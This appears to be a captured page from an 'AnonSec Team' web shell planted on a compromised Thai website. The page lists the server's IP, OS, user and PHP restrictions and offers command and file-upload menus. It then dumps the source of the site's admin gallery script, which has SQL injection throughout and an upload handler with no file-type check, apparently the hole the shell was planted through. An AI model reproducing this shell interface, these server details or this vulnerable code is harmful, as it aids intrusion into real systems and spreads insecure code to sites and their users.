AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/admin/vendors/raphael/../bootstrap/../../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/admin/vendors/raphael/../bootstrap/../../Gallery.php
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
if($_SESSION[UserRight]!="A"){
	echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
	exit;
}
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <!-- Meta, title, CSS, favicons, etc. -->
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

 <title><?php  echo $config[web_title];?></title>
     <?php include("header-css.php");?>
		<!-- Ckeditor -->
		<script src="ckeditor4.10.1/ckeditor.js"></script>
  		<!-- Ckeditor -->
 
  </head>
<?php
  include ("Connections/function-sys.php");
 
?>
  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
		
		 <!-- Left side column. contains the logo and sidebar -->
		  <?php include("left-menu.php");?>
		 <!-- Left side column. contains the logo and sidebar -->

         <!-- Header -->
			<?php include("header.php");?>
		 <!-- Header -->

        <!-- page content -->
        <div class="right_col" role="main">
          <div class="">
			<!-- Start -->

            <div class="clearfix"></div><!-- เส้น -->

            <div class="row">
              <div class="col-md-12 col-sm-12 col-xs-12">
                <div class="x_panel">

					<div class="x_title">
                    <strong> ประมวลภาพกิจกรรม </strong>
                    <div class="clearfix"></div>
                  </div>

                   <div class="x_content">
				   <!-- เริ่มต้น -->
					
					<?php
										$subID=0;
										switch($_REQUEST[action]){
										case "Insert2DB":
											if(isset($_POST['submit']))	{//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า	
													$sql ="select  *  from news where aName='$_REQUEST[aName]'   ";
													$row=$db->recCount($sql);
													if($row!=0){
														$msg="ข้อมูลนี้มีแล้ว!";
													}else
												   {
														if(!empty($_FILES[Img1][name])){	
															$qExt="jpg,png,gif,pjpeg,jpeg,jfif";
															$size=800;
															$filename=date("YmdHis");
															$Img11=upload_resizeIMG("Img1","images/News",$filename,$qExt,$size);//ถ้ากำหนด size เป็น 0 หรือช่องว่าง จะไม่ resize  resize เฉพาะรูปภาพ
														}else
													   {
															$Img11="logo.png";
													   } 
														
													  if(!empty($_FILES[aFile][name])){	
															$qExt="jpg,png,gif,pjpeg,ppt,pptx,pdf,doc,docx,xls,xlsx";
															$size=0;
															$filename=date("YmdHis")."2";
															$aFile_1=upload_resizeIMG("aFile","images/News",$filename,$qExt,$size);//ถ้ากำหนด size เป็น 0 หรือช่องว่าง จะไม่ resize  resize เฉพาะรูปภาพ
														}else
													   {
															$aFile_1 =$_REQUEST[aFile2];
													   } 
 
														$today=ShowAllDate($_REQUEST[aDate],5);
														$aTime=explode(".",$_REQUEST[aTime]);
														$aTime[0]=sprintf("%02d",$aTime[0]);
														$aTime[1]=sprintf("%02d",$aTime[1]);
														$today=$today." ".$aTime[0].":".$aTime[1];
														$uniqid = $rand = substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789'),0,5);//str_shuffle สับเปลี่ยนตัวอักษรในสตริง ด้วยฟังก์ชัน str_shuffle()
 													$sql="insert into news (aName,aTitle,aDesc,aDate,aImg,aFile,aYoutube,statusID,aLink,Approve,subID,uniqid) 
																values('$_REQUEST[aName]','$_REQUEST[aTitle]','$_REQUEST[aDesc]','$today','$Img11','$aFile_1','$_REQUEST[aYoutube]','1','$_REQUEST[aLink]','T'
																,'$subID','$uniqid')";
														$db->query($sql);

														//เก็บรูปรายละเอียด
														$sql ="select  news.* 	from news		where news.statusID='1' and  aDate='$today' and subID='$subID' order by  news.aID DESC";
														$arrE=$db->getRec($sql);		
														$aID=$arrE[aID];//รหัส PK

														//วนเก็บรูป
														$qExt="jpg,png,gif,pjpeg,jpeg,jfif";
 														for($i=0;$i<count($_FILES['ImgDetail']['name']);$i++){
															$FileName=$_FILES["ImgDetail"]["name"][$i];
 															if(!empty($FileName)){
																$FileTemp=$_FILES["ImgDetail"]["tmp_name"][$i];
																$fname=basename($FileName);
																$checkFile=checkUploadfile(basename($fname),$qExt);//เช็คนามสกุลไฟล์
																if($checkFile=="1" and !empty($fname)){	
																	$pos1=strrchr($fname,".");
																	$ftype=str_replace(".","",$pos1);	 
																	$ftype=strtolower($ftype);
																	$FileName = date("YmdHis")."$i.$ftype";
																	copy($FileTemp , "images/News/$FileName" );

																	$sql ="select   * 	from news_img		where aID='$aID' order by  aNo DESC";
																	$arrE=$db->getRec($sql);		
																	$aNo=$arrE[aNo]+1;
																	
																	$sql="insert into news_img (iName,Img1,aID,aNo) values ('$_REQUEST[iName1]','$FileName','$aID','$aNo')";
																	$db->query($sql);
																}
																
															}
														}//วนเก็บรูป

														$msg="บันทึกข้อมูลเรียบร้อยแล้ว!";

														}
													}//submit
													echo <<<DOC
													 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
													 <script>    
														 SweetAlert('$msg','$_SERVER[PHP_SELF]?subID=$subID')
 													</script>
DOC;
													break;

													default:
															if(empty($_REQUEST[page])){
																$page=1;
															}else
															{
																$page=$_REQUEST[page];
															}
															
															
																echo <<<DOC
																	
																	<CENTER>

																	<div style="width:99%">
																		<div   class="col-sm-12">
																				<div  class="col-sm-7">
																				<A HREF="$_SERVER[PHP_SELF]?action=AddForm">
																				<button type="button" class="btn btn-success btn-sm pull-left"><span class="glyphicon glyphicon-plus-sign"></span> <strong>เพิ่มข้อมูล</strong></button></A>
																				</div>
																				<div  class="col-sm-5 ">
																						<form class="form-search  pull-right" method="post" id="s" action="$_SERVER[PHP_SELF]">
 																						<span class="col-lg-9" style="padding-left:1px;padding-right:1px;">
																							<input type="text"  class="form-control input" name="TxTSeach" placeholder="Search" value="">
																						</span>
																						<span class="col-lg-1" style="padding-left:1px;padding-right:1px;">
																							<button type="submit" class="add-on  btn btn-primary" style="height: 35px;"><i class="glyphicon glyphicon-search"></i></button>
 																						</span>
																					</form>
																				</div>
																				
																		</div><BR><BR>
																		

																		<table class="table table-hover table-bordered" >
																		<thead>
																			<tr  class="warning" style="text-align: center">
																			  <th  width="5%" style="text-align: center">ลำดับ</th>
																			  <th>รายการ</th>
																				<th width="5%" style="text-align: center">แก้ไข</th>
																				<th width="6%" style="text-align: center">เพิ่มรูป</th>
																				<th width="7%" style="text-align: center">แสดงรูป</th>
																				<th width="5%" style="text-align: center">อนุมัติ</th>
																				<th width="5%" style="text-align: center">ลบ</th>
																			</tr>
																		  </thead>
																		  <tbody id="myTable">
DOC;
																		if(!empty($_REQUEST[TxTSeach])){
																			$Where="and   news.aName like '%$_REQUEST[TxTSeach]%' ";
																		}
																		$sql ="select  *  from news where subID='$subID'  $Where order by aID Desc ";
																		$row=$db->recCount($sql);
																		if($row!=0){
																			foreach ($db->dbSearch_Page($sql,$_REQUEST[page],$config[list4page]) as $i=>$arr) {
																				$j=(($config[list4page]*$page)-($config[list4page]-1))+$i;
																				$arr[aDate]=ShowAllDate($arr[aDate],4)." ".substr($arr[aDate],10,10);
																				if(!empty($arr[aImg])){
																					$IMGS="<IMG SRC=\"images/News/$arr[aImg]\" class=\"img-thumbnail\"  width=\"200\" height=\"132\">";
																				}else
																				{
																					$IMGS="";
																				}
																				if($arr[Approve]=="T"){
																					$Approve_Img="<A HREF=\"$_SERVER[PHP_SELF]?action=SetApprove&aID=$arr[aID]&Approve=\"><button type=\"button\" class=\"btn btn-success btn-xs\" style=\"width:25px;\"><span class=\"glyphicon glyphicon-ok\"></span></button></A>";
																				}else
																				{
																					$Approve_Img="<A HREF=\"$_SERVER[PHP_SELF]?action=SetApprove&aID=$arr[aID]&Approve=T\"><button type=\"button\" class=\"btn btn-warning btn-xs\" style=\"width:25px;\"><span class=\"glyphicon glyphicon-remove\"></span></button></A>";
																				}
																				echo <<<DOC
																				<tr>
																				  <td style="text-align: center" width=5%>$j</td>
																				  <td><a href="../ShowNews.php?id=$arr[uniqid]$arr[aID]" target="ShowNews">$arr[aName]</A> <span class="pull-right"style="color:#999999">$arr[aDate]</span></td>
																					<td  style="text-align: center">
																							<A HREF="$_SERVER[PHP_SELF]?action=AddForm&aID=$arr[aID]">
																							<button type="button" class="btn btn-success btn-xs" style="width:25px;"><span class="glyphicon glyphicon-pencil"></span></button></A>
																					</td>
																					<td  style="text-align: center">
																							<A HREF="$_SERVER[PHP_SELF]?aID=$arr[aID]&action=AddImg">
																							<button type="button" class="btn btn-primary btn-xs" style="width:25px;"><span class="glyphicon glyphicon-plus"></span></button></A>
																					</td>
																					<td  style="text-align: center">
																							<A HREF="$_SERVER[PHP_SELF]?aID=$arr[aID]&action=ShowImg">
																							<button type="button" class="btn btn-info btn-xs" style="width:25px;"><span class="glyphicon glyphicon-search"></span></button></A>
																					</td>
																					<td  style="text-align: center">
																							$Approve_Img&nbsp;
																					</td>
																					<td  style="text-align: center">
																							<A HREF="#" onClick="sebSweetConfirm('$_SERVER[PHP_SELF]?action=del4Data&aID=$arr[aID]');">
 																								<button type="button" class="btn btn-danger btn-xs" style="width:25px;"><span class="glyphicon glyphicon-trash"></span></button></A>
																					</td>
																				</tr>
DOC;
																			}
																		}else
																		{	
																			echo <<<DOC
																				<tr>
																				<td colspan=7><BR><div align=center><strong>ไม่พบข้อมูล!</strong></div><BR></td>
																			</tr>
DOC;
																		}
																		echo "</tbody>
																		</table>
																	</div>
																</CENTER>";
															if($row!=0){
 																echo "<div style=\"width:90%;text-align: left\">";
																echo $db->show_Page3($sql,$row,$config[list4page],$page,$_SERVER[PHP_SELF],"action=showList");
																echo "</div>";
															}

															break;

												case "del4Data":
															$sql="delete from news  where aID='$_REQUEST[aID]'   ";
															$db->query($sql);

															$sql="delete from news_img  where aID='$_REQUEST[aID]'   ";
															$db->query($sql);
															echo <<<DOC
															 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
															 <script>    
																SweetAlert('ลบข้อมูลเรียบร้อยแล้ว','$_SERVER[PHP_SELF]')
															</script>
DOC;
															break;	
														
												case "del4Img":
														$sql="update news set  aImg=''  where aID='$_REQUEST[aID]'   ";
														$db->query($sql);
														echo <<<DOC
													 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
													 <script>    
														SweetAlert('ลบข้อมูลเรียบร้อยแล้ว','$_SERVER[PHP_SELF]')
													</script>
DOC;
 														break;

											case "del4File":
														$sql="update news set  aFile=''  where aID='$_REQUEST[aID]' ";
														$db->query($sql);
														echo <<<DOC
													 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
													 <script>    
														SweetAlert('ลบข้อมูลเรียบร้อยแล้ว','$_SERVER[PHP_SELF]')
													</script>
DOC;
 														break;

												case "Update2DB":
														if(isset($_POST['submit']))	{//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า	
															$sql ="select  *  from news where aName='$_REQUEST[aName]'    and aID !='$_REQUEST[aID]' ";
															$row=$db->recCount($sql);
															if($row!=0){
																$msg="ข้อมูลนี้มีแล้ว!";
															}else
														   {		
																if(!empty($_FILES[Img1][name])){	
																	$qExt="jpg,png,gif,pjpeg,jpeg,jfif";
																	$size=800;
																	$filename=date("YmdHis");
																	$Img11=upload_resizeIMG("Img1","images/News",$filename,$qExt,$size);//ถ้ากำหนด size เป็น 0 หรือช่องว่าง จะไม่ resize  resize เฉพาะรูปภาพ
																}else
															   {
																	$Img11= $_REQUEST[aImg2];
															   } 
																
															  if(!empty($_FILES[aFile][name])){	
																	$qExt="jpg,png,gif,pjpeg,ppt,pptx,pdf,doc,docx,xls,xlsx";
																	$size=0;
																	$filename=date("YmdHis")."2";
																	$aFile_1=upload_resizeIMG("aFile","images/News",$filename,$qExt,$size);//ถ้ากำหนด size เป็น 0 หรือช่องว่าง จะไม่ resize  resize เฉพาะรูปภาพ
																}else
															   {
																	$aFile_1 =$_REQUEST[aFile2];
															   } 

																$today=ShowAllDate($_REQUEST[aDate],5);
																$aTime=explode(".",$_REQUEST[aTime]);
																$aTime[0]=sprintf("%02d",$aTime[0]);
																$aTime[1]=sprintf("%02d",$aTime[1]);
																$today=$today." ".$aTime[0].":".$aTime[1];											
 																$sql="update news set aName='$_REQUEST[aName]',aTitle='$_REQUEST[aTitle]',aDesc='$_REQUEST[aDesc]'
																			,aDate='$today',aImg='$Img11',aFile='$aFile_1',aYoutube='$_REQUEST[aYoutube]',aLink='$_REQUEST[aLink]' where aID='$_REQUEST[aID]' ";	

																$db->query($sql);

																//วนเก็บรูป
																$qExt="jpg,png,gif,pjpeg,jpeg,jfif";
																for($i=0;$i<count($_FILES['ImgDetail']['name']);$i++){
																	$FileName=$_FILES["ImgDetail"]["name"][$i];
																	if(!empty($FileName)){
																		$FileTemp=$_FILES["ImgDetail"]["tmp_name"][$i];
																		$fname=basename($FileName);
																		$checkFile=checkUploadfile(basename($fname),$qExt);//เช็คนามสกุลไฟล์
																		if($checkFile=="1" and !empty($fname)){	
																			$pos1=strrchr($fname,".");
																			$ftype=str_replace(".","",$pos1);	 
																			$ftype=strtolower($ftype);
																			$FileName = date("YmdHis")."$i.$ftype";
																			copy($FileTemp , "images/News/$FileName" );

																			$sql ="select   * 	from news_img		where aID='$_REQUEST[aID]' order by  aNo DESC";
																			$arrE=$db->getRec($sql);		
																			$aNo=$arrE[aNo]+1;
																			
																			$sql="insert into news_img (iName,Img1,aID,aNo) values ('$_REQUEST[iName1]','$FileName','$_REQUEST[aID]','$aNo')";
																			$db->query($sql);
																		}
																	}
																}//วนเก็บรูป

																$msg="บันทึกข้อมูลเรียบร้อยแล้ว!";
															}
													}//submit
													echo <<<DOC
													 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
													 <script>    
														 SweetAlert('$msg','$_SERVER[PHP_SELF]?subID=$subID')
 													</script>
DOC;
															break; 

												case "ShowImg":
															$sql ="select  news_img.*,news.aName 	from news_img
																		left join news on news_img.aID=news.aID 	where news_img.aID='$_REQUEST[aID]'  order by  news_img.aNo,news_img.aID";
															
															$arrT=$db->getRec($sql);		
															echo <<<DOC
																<FORM METHOD=POST name="frm" action="$_SERVER[PHP_SELF]">
																<p class="mytitle"><strong><CENTER>$arrT[aName]</CENTER></strong></p>
																  <table class="table table-hover" style="width:90%" align=center>
																	<TR align=center   class="warning" >
																		<th width=5%>ลำดับ</th>
																		<th>รูป</th>
																		<th  width=5%>ลบ</th>
																		<th  width=12% align=center>ลำดับแสดง</th>		
																	</TR>
DOC;
			
																	$row=$db->recCount($sql);
																	if($row>0){
																		foreach ($db->dbSearch($sql) as $i=>$arr) {
																			$j=$i+1;
																			echo <<<DOC
																				<TR align=center valign=top>
																					<TD>$j</TD>
																					<TD  align=left><IMG SRC="images/News/$arr[Img1]" class="img-thumbnail"  width="250" height="182"></TD>
																					<TD><A HREF="#" onClick="sebSweetConfirm('$_SERVER[PHP_SELF]?action=del4IMG&iID=$arr[iID]&aID=$arr[aID]');">
																				<button type="button" class="btn btn-danger btn-xs" style="width:25px;"><span class="glyphicon glyphicon-trash"></span></button></A></TD>
																					<TD align=center>
																						<SELECT NAME="aNo$arr[iID]">
																						<OPTION VALUE="" SELECTED>
DOC;
																					for($k=1;$k<=$row;$k++){
																						if($k==$arr[aNo]){$Se=" selected";}else{$Se=" ";}
																						echo "<OPTION VALUE=\"$k\" $Se>$k";
																					}
																					echo <<<DOC
																						
																					</SELECT>
																					</TD>
																				</TR>
DOC;
																		}
																		
																	}else
																	{
																		echo "<TR><TD colspan=6 align=center><BR>ไม่พบข้อมูล<BR><BR></TD></TR>";
																	}
																	echo "</TABLE><BR>
																	<INPUT TYPE=\"hidden\" NAME=\"aID\" value=\"$_REQUEST[aID]\">
																	<INPUT TYPE=\"hidden\" NAME=\"action\" value=\"IMGUpdate2DB_No\">
																	<CENTER><button type=\"submit\"  name=\"submit\" class=\"btn btn-primary\">บันทึก</button>
																	<button type=\"button\" class=\"btn btn-primary\" onclick=\"self.location.href='$_SERVER[PHP_SELF]' \">ยกเลิก</button>
																	</CENTER>
																	</FORM>";
																	break;
												
										case "del4IMG":
												$sql="delete from  news_img    where iID='$_REQUEST[iID]' ";
												$db->query($sql);
												echo <<<DOC
											 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
											 <script>    
												SweetAlert('ลบข้อมูลเรียบร้อยแล้ว','$_SERVER[PHP_SELF]?aID=$_REQUEST[aID]&action=ShowImg')
											</script>
DOC;
 												break;

										case "IMGUpdate2DB_No":
											if(isset($_POST['submit']))	{//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า	
												$sql ="select  *  from news_img where news_img.aID='$_REQUEST[aID]'   ";
												foreach ($db->dbSearch($sql) as $i=>$arr) {
													$A="aNo$arr[iID]";
													$sql="update news_img set aNo='$_REQUEST[$A]'  where iID='$arr[iID]' ";
													$db->query($sql);
												}
											}
											echo <<<DOC
											 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
											 <script>    
												SweetAlert('บันทึกข้อมูลเรียบร้อยแล้ว','$_SERVER[PHP_SELF]?aID=$_REQUEST[aID]&action=ShowImg')
											</script>
DOC;
 												break;
										
										case "AddImg":
														$action="Img2DB";
														$sql="select  news.* from news 	where aID='$_REQUEST[aID]'   ";
														$arrE=$db->getRec($sql);		
														if(!empty($arrE[aImg])){
															$aImg="<IMG SRC=\"images/News/$arrE[aImg]\" class=\"img-thumbnail\"  width=\"250\" height=\"182\">";
														}
													
													?>
													<form id="GalleryForm" method="post" action="<?php echo $_SERVER[PHP_SELF];?>" class="form-horizontal pull-center" enctype="multipart/form-data"  >
													  <div class="col-lg-12">
															<div class="form-group">
																<label class="col-lg-2 control-label">หัวเรื่อง</label>
																<div class="col-lg-8">
																	<input type="text" class="form-control" name="aName" placeholder="หัวเรื่อง,รายละเอียด"  value="<?php echo $arrE[aName];?>"  disabled />
																</div>
															</div>
 
														<div class="form-group">
															<label class="col-lg-2 control-label">รายละเอียด</label>
 															<div class="col-lg-10">
																<textarea class="ckeditor" id="aDesc" name="aDesc" rows="5"><?php echo $arrE[aDesc];?></textarea>
															</div>
														</div>
														
 														<div class="form-group">
															<label class="col-lg-2 control-label">รูป</label>
															<div class="col-lg-8">
																<a class='btn btn-primary' href='javascript:;'>เลือกไฟล์
																	<input type="file" style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="ImgDetail[]" multiple size="40"  onchange='$("#upload-file-info2").html($(this).val());'>
																</a>
																&nbsp;
																<span class='label label-info' id="upload-file-info2"></span><BR>
																<BR>
																<span style="color: red">เลือกได้มากกว่า 1 ไฟล์(Internet Explorer 10, Firefox, Opera, Chrome,  Safari.)</span>
															</div>
														</div>

														<div class="form-group">
															<div class="col-lg-11 col-lg-offset-2">

																<button type="submit" name="submit" class="btn btn-primary">บันทึก</button>
																<button type="button" class="btn btn-primary" onclick="self.location.href='<?php  echo "$_SERVER[PHP_SELF]";?>' ">ยกเลิก</button>
																<INPUT TYPE="hidden" NAME="action" value="<?php echo $action;?>">
																<INPUT TYPE="hidden" NAME="aID" value="<?php echo $_REQUEST[aID];?>">
															</div>
														</div>

													</div>
													<!-- <div class="col-lg-12">-->
													</form>
													<?php
														break;
												
												case "Img2DB":
														if(isset($_POST['submit']))	{//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า	
 
																	//วนเก็บรูป
																	for($i=0;$i<count($_FILES['ImgDetail']['name']);$i++){
																		$FileName=$_FILES["ImgDetail"]["name"][$i];
																		if(!empty($FileName)){
																			$FileTemp=$_FILES["ImgDetail"]["tmp_name"][$i];
																			$fname=basename($FileName);
																			$pos1=strrchr($fname,".");
																			$ftype=str_replace(".","",$pos1);	 
																			$ftype=strtolower($ftype);
																			$FileName = date("YmdHis")."$i.$ftype";
																			copy($FileTemp , "images/News/$FileName" );

																			$sql ="select   * 	from news_img		where aID='$_REQUEST[aID]' order by  aNo DESC";
																			$arrE=$db->getRec($sql);		
																			$aNo=$arrE[aNo]+1;
																			
																			$sql="insert into news_img (iName,Img1,aID,aNo) values ('$_REQUEST[iName1]','$FileName','$_REQUEST[aID]','$aNo')";
																			$db->query($sql);
																		}
																	}//วนเก็บรูป
															}//submit
															echo <<<DOC
															 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
															 <script>    
																SweetAlert('บันทึกข้อมูลเรียบร้อยแล้ว','$_SERVER[PHP_SELF]')
															</script>
DOC;
															echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=$_SERVER[PHP_SELF]\">";
															break; 

												case "SetApprove":
															$sql="update news set  Approve='$_REQUEST[Approve]'  where aID='$_REQUEST[aID]'  ";
															$db->query($sql);
														
															echo "<div align=center><strong>บันทึกข้อมูลเรียบร้อยแล้ว</strong></div>";
															echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=$_SERVER[PHP_SELF]\">";
															break;

											case "AddForm":
													if(empty($_REQUEST[aID])){
														$action="Insert2DB";
														$arrE[aDate]=ShowAllDate(date("Y-m-d"),4);
														$arrE[aTime]=date("H.i");
													}else
													{
														$action="Update2DB";
														$sql="select  news.* from news 	where aID='$_REQUEST[aID]'   ";
														$arrE=$db->getRec($sql);		
														$arrE[aImg]=trim($arrE[aImg]);
														$arrE[aFile]=trim($arrE[aFile]);
														if(!empty($arrE[aImg])){
															$aImg="<A HREF=\"images/News/$arrE[aImg]\" target=doc><IMG SRC=\"images/News/$arrE[aImg]\"   BORDER=0  class=\"img-rounded\" style=\"width:40%\"></A>";
															$aImgDel="<A HREF=\"#\" onClick=\"sebSweetConfirm2('คุณต้องการรูปประกอบ','$_SERVER[PHP_SELF]?action=del4Img&aID=$arrE[aID]');\">
 															<button type=\"button\" class=\"btn btn-danger btn-xs\" style=\"width:25px;\"><span class=\"glyphicon glyphicon-trash\"></span></button></A>";
														}
														if(!empty($arrE[aFile])){
															$aFile="<A HREF=\"images/News/$arrE[aFile]\" target=doc><button type=\"button\" class=\"btn btn-success btn-xs\" style=\"width:25px;\"><span class=\"glyphicon glyphicon-eye-open\"></span></button></A>";
															$aFileDel="<A HREF=\"#\" onClick=\"sebSweetConfirm2('คุณต้องการลบไฟล์ที่แนบมา','$_SERVER[PHP_SELF]?action=del4File&aID=$arrE[aID]');\">
 															<button type=\"button\" class=\"btn btn-danger btn-xs\" style=\"width:25px;\"><span class=\"glyphicon glyphicon-trash\"></span></button></A>";
														}
														$arrE[aTime]=str_replace(":",".",substr($arrE[aDate],10,6));
														$arrE[aDate]=ShowAllDate($arrE[aDate],4);
													}
													?>
													
 													<form id="frm" method="post" action="<?php echo $_SERVER[PHP_SELF];?>" class="form-horizontal pull-center" enctype="multipart/form-data"  >
													  <div class="col-lg-12">
															<div class="form-group">
																<label class="col-lg-2 control-label">วันที่</label>
																<div class="col-lg-4">
																		<span class="col-lg-4" style="padding-left:1px;padding-right:1px;">
 																			 <input type="text" class="form-control pull-right" id="aDate" name="aDate"   placeholder="วันที่"  value="<?php echo $arrE[aDate];?>"   readonly  data-provide="datepicker" data-date-language="th-th" >
																		</span>
																		<label class="col-lg-2 control-label" style="text-align:right;">เวลา</label>
																		<span class="col-lg-3" style="padding-left:1px;padding-right:1px;">
																			 <input name="aTime" type="text" class="form-control input" id="aTime"  value="<?php echo $arrE[aTime];?>" placeholder="เวลา"  />
																		</span>
																		<label class="col-lg-3 control-label" style="text-align:left;">Ex. 8.30</label>
																</div>
															</div>
															<div class="form-group">
																<label class="col-lg-2 control-label">หัวเรื่อง</label>
																<div class="col-lg-8">
																	<input type="text" class="form-control" name="aName" placeholder="หัวเรื่อง,รายละเอียด"  value="<?php echo $arrE[aName];?>"  required oninvalid="this.setCustomValidity('หัวเรื่อง')" onchange="try{setCustomValidity('')}catch(e){}" />
																</div>
															</div>
															
															 <div class="form-group">
																<label class="col-lg-2 control-label">รายละเอียดย่อ(หน้าแรก)</label>
																<div class="col-lg-10">
																 <textarea  id="aTitle" class="ckeditor" name="aTitle"><?php  echo $arrE[aTitle];?></textarea> 
																</div>
															</div> 

															<div class="form-group">
															<label class="col-lg-2 control-label">รายละเอียด</label>
															<div class="col-lg-10">
																<textarea  id="aDesc" class="ckeditor" name="aDesc" rows="5" cols="100"><?php echo $arrE[aDesc];?></textarea> 
															</div>
														</div>
														
														<div class="form-group">
																<label class="col-lg-2 control-label">รูปหน้าหลัก</label>
																<div class="col-lg-8">
																	<a class='btn btn-primary' href='javascript:;'>เลือกไฟล์
																		<input type="file" style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="Img1" size="40"  onchange='$("#upload-file-info").html($(this).val());'>
																	</a>
																	&nbsp;
																	<span class='label label-info' id="upload-file-info"></span><BR>
																	<input     type="hidden" name="aImg2" value="<?php  echo $arrE[aImg];?>" /><?php echo "$aImg $aImgDel";?>
																</div>
															</div>

														<div class="form-group">
															<label class="col-lg-2 control-label">รูปประกอบ</label>
															<div class="col-lg-8">
																<a class='btn btn-primary' href='javascript:;'>เลือกไฟล์
																	<input type="file" style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="ImgDetail[]" multiple size="40"  onchange='$("#upload-file-info2").html($(this).val());'>
																</a>
																&nbsp;
																<span class='label label-info' id="upload-file-info2"></span><BR>
 																<span style="color: red">เลือกได้มากกว่า 1 ไฟล์(Internet Explorer 10, Firefox, Opera, Chrome,  Safari.)</span>
															</div>
														</div>
														<div class="form-group">
															<label class="col-lg-2 control-label">ไฟล์เอกสาร(ถ้ามี)</label>
															<div class="col-lg-8">
																<a class='btn btn-primary' href='javascript:;'>เลือกไฟล์
																	<input type="file" style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="aFile" size="40"  onchange='$("#upload-file-info3").html($(this).val());'>
																</a>
																&nbsp;
																<span class='label label-info' id="upload-file-info3"></span><BR>
																<input     type="hidden" name="aFile2" value="<?php echo $arrE[aFile];?>" /><?php echo "$aFile $aFileDel";?>
															</div>
														</div>
 															 
														<div class="form-group">
																<label class="col-lg-2 control-label">ลิงค์(ถ้ามี)</label>
																<div class="col-lg-8">
																	<input type="text" class="form-control" name="aLink" placeholder="ลิงค์"  value="<?php echo $arrE[aLink];?>" />
																</div>
															</div>

														<div class="form-group">
															<div class="col-lg-11 col-lg-offset-2">

																<button type="submit"  name="submit" class="btn btn-primary">บันทึก</button>
																<button type="button" class="btn btn-primary" onclick="self.location.href='<?php echo $_SERVER[PHP_SELF];?>' ">ยกเลิก</button>
																<INPUT TYPE="hidden" NAME="action" value="<?php echo $action;?>">
																<INPUT TYPE="hidden" NAME="aID" value="<?php echo $_REQUEST[aID];?>">
															</div>
														</div>

													</div>
													<!-- <div class="col-lg-12">-->
